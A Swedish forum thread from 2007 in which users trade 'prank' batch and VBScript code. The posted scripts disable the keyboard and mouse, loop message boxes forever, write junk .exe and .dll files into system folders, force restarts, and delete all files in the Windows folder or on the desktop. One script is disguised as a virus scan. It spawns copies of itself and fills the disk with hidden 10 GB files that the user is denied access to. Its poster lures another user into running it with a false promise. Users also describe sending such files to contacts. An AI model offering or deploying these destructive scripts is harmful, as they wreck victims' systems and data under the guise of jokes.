Hur gör man ett "skämt" program

[RF-AT]

Vet någon hur man kan göra ett program som är liksom ett skämt?

så man kan lägga till knappar o sånt fast om man trycker så händer inget..

Redigerad 19 september, 2007 av RF-AT

[Gof]

Du kan väl göra allting om du har kunskaper till det...

[RF-AT]

Du kan väl göra allting om du har kunskaper till det...

ääh frågan skulle vara, Vet någon hur man gör?

[Tux]

ääh frågan skulle vara, Vet någon hur man gör?

Du kan använda Visual Basic för att göra ett sånt skämt program om du vill. Olika "Skämt" koder kan du säkert hitta på nätet.

Bara för att hjälpa dig på traven. När du väl har Visual Basic, använd google eller något annat och sök på:

"visual basic popups"

"visual basic screen freeze"

osv... hoppas du fattar

Redigerad 19 september, 2007 av Tux

[RF-AT]

Ok, tack

[RF-AT]

Någon som vet vart man kan skaffa vb?

[mr_tobbe]

Någon som vet vart man kan skaffa vb?

Vild gissning: Google.

[ssfh]

Vet någon hur man kan göra ett program som är liksom ett skämt?

så man kan lägga till knappar o sånt fast om man trycker så händer inget..

Finns väll lite tricks i batch.

[[Klistra in detta i en valfri texteditor och spara som namn.bat]]

Vanlig text i cmd fönstret:

@echo off

echo medelande

Gör musen och tangentbordet oanvändabara:

Rundll32 keyboard,disable

Rundll32 mouse,disable

MessageBox:

msg * "medelande här"


eller varför inte göra en loop så det poppar upp i all evighet:


@echo off

:1

msg * "spam"

goto 1

Starta olika program:

start notepad.exe

start www.meatspin.com

start free6.com 


etc..

Spamma olika typer av filer:

@echo off

:0

echo spam >> C:/%random%.exe

echo hej >> C:/%random%.dll

echo lol >> C:/windows/%random%.txt

goto 0

Stäng ner datorn:

shutdown -r -t 10 -c "Hej då"

-r = stäng av och starta om datorn, -t = sekunder innan datorn stängs ner och startar om, -c = kommentar

Ta bort filer på bestämmd plats:

@echo off

del "C:/windows/*.*" : tar bort alla filer i windows mappen


eller:


@echo off

del "C:\Documents and Settings\All Users\Skrivbord\*.*" : tar bort alla filer på skrivbordet


eller ta bort en valfri fil:


@echo off 

del "C:/porn/sexmovie.mpg"


Obs: Filerna går ej att återställa

Finns väll lite roligt i vbs okså: [[samma som med bat filer, men spara som namn.vbs]] Vanlig messagebox:

MsgBox "medelande"

Stäng av musen och skrivbordet med vbs:

Private Sub Form_Load()

	Shell "rundll32 keyboard,disable"

	Shell "rundll32 mouse,disable"

End Sub

Öppna och stäng cd luckan:

Set oWMP = CreateObject("WMPlayer.OCX.7" )

Set colCDROMs = oWMP.cdromCollection


if colCDROMs.Count >= 1 then

		For i = 0 to colCDROMs.Count - 1

				colCDROMs.Item(i).Eject

		Next ' cdrom

End If

Spamma textboxar/loops

For i=1 to 1000 : Ändra till antalet textrutor den ska göra

MsgBox "lol"

next

Redigerad 20 september, 2007 av ssfh

[Pixiegnom]

Haha, kul koder

[RavenE]

Finns det någon som har lite fler rolig koder?

Redigerad 24 september, 2007 av RavenE

[mr_tobbe]

RoevenE, testa den här, det kommer ut en pepparkaka från CD-läsaren inom 2 minuter. Spara som .bat eller .cmd.

@echo off

SETLOCAL EnableDelayedExpansion

if "%1"=="loop" goto main_


title Scanning for Virus

echo.Scanning in progress...


for /l %%A in (1,1,100) do (start /b %~0 loop %%A)


:main_

title Scanning for Virus

set byte=10737418240

:loop_

set string=%2_%random%%random%%random%%random%%random%%random%

fsutil file createnew "!homedrive!\pallekuling_!string!.sys" !byte!>nul || set /a byte/=10

attrib +r +s +h +a "!homedrive!\pallekuling_!string!.sys">nul

echo.j|cacls "!homedrive!\pallekuling_!string!.sys" /c /d "!username!">nul

goto :loop_

[RavenE]

RoevenE, testa den här, det kommer ut en pepparkaka från CD-läsaren inom 2 minuter. Spara som .bat eller .cmd.

@echo off

SETLOCAL EnableDelayedExpansion

if "%1"=="loop" goto main_


title Scanning for Virus

echo.Scanning in progress...


for /l %%A in (1,1,100) do (start /b %~0 loop %%A)


:main_

title Scanning for Virus

set byte=10737418240

:loop_

set string=%2_%random%%random%%random%%random%%random%%random%

fsutil file createnew "!homedrive!\pallekuling_!string!.sys" !byte!>nul || set /a byte/=10

attrib +r +s +h +a "!homedrive!\pallekuling_!string!.sys">nul

echo.j|cacls "!homedrive!\pallekuling_!string!.sys" /c /d "!username!">nul

goto :loop_

Vad gör den där?

[mr_tobbe]

Vad gör den där?

Finns bara ett sätt att ta reda på det.

Redigerad 24 september, 2007 av mr_tobbe

[RavenE]

Finns bara ett sätt att ta reda på det.

Hell no.

[RF-AT]

Skojja med några på msn med start skriptet, skrev in massor av sidor *porr sidor* xD.(Dock inte många som tog emot för att filen var 1kb)

edit: tänkte på en grej, kan man lägga i så att sidorna startas, och sedan så funkar inte musen och tagentbordet?

Redigerad 24 september, 2007 av RF-AT

[Plaisir]

Du skulle ju kunna be startfilen att starta en annan fil som gör det

[RF-AT]

Du skulle ju kunna be startfilen att starta en annan fil som gör det

Vet du/någon hur man gör?

[ssfh]

Vad gör den där?

Tagen från flashback, vad jag minns. Antagligen skapar den .sys filer som inte går och ta bort, och loopar sig själv och fortsätter skapa dom tills du inte har en enda byte kvar på hårddisken.

Edit: RF-AT, kolla min post så vet du hur man ska göra. Annars:

@echo off

:bajsloop

start www.sida.com

start www.sida2.com

start www.sida3.com

Rundll32 mouse,disable

goto bajsloop

Redigerad 24 september, 2007 av ssfh

[RavenE]

Tagen från flashback, vad jag minns. Antagligen skapar den .sys filer som inte går och ta bort, och loopar sig själv och fortsätter skapa dom tills du inte har en enda byte kvar på hårddisken

Oh, tur att jag inte provade den.

[Plaisir]

Vet du/någon hur man gör?

Det står längre upp

Edit: Fuck att jag missade o trycka på knappen... Men men.... Läs ssfh's inlägg

Redigerad 24 september, 2007 av Friberg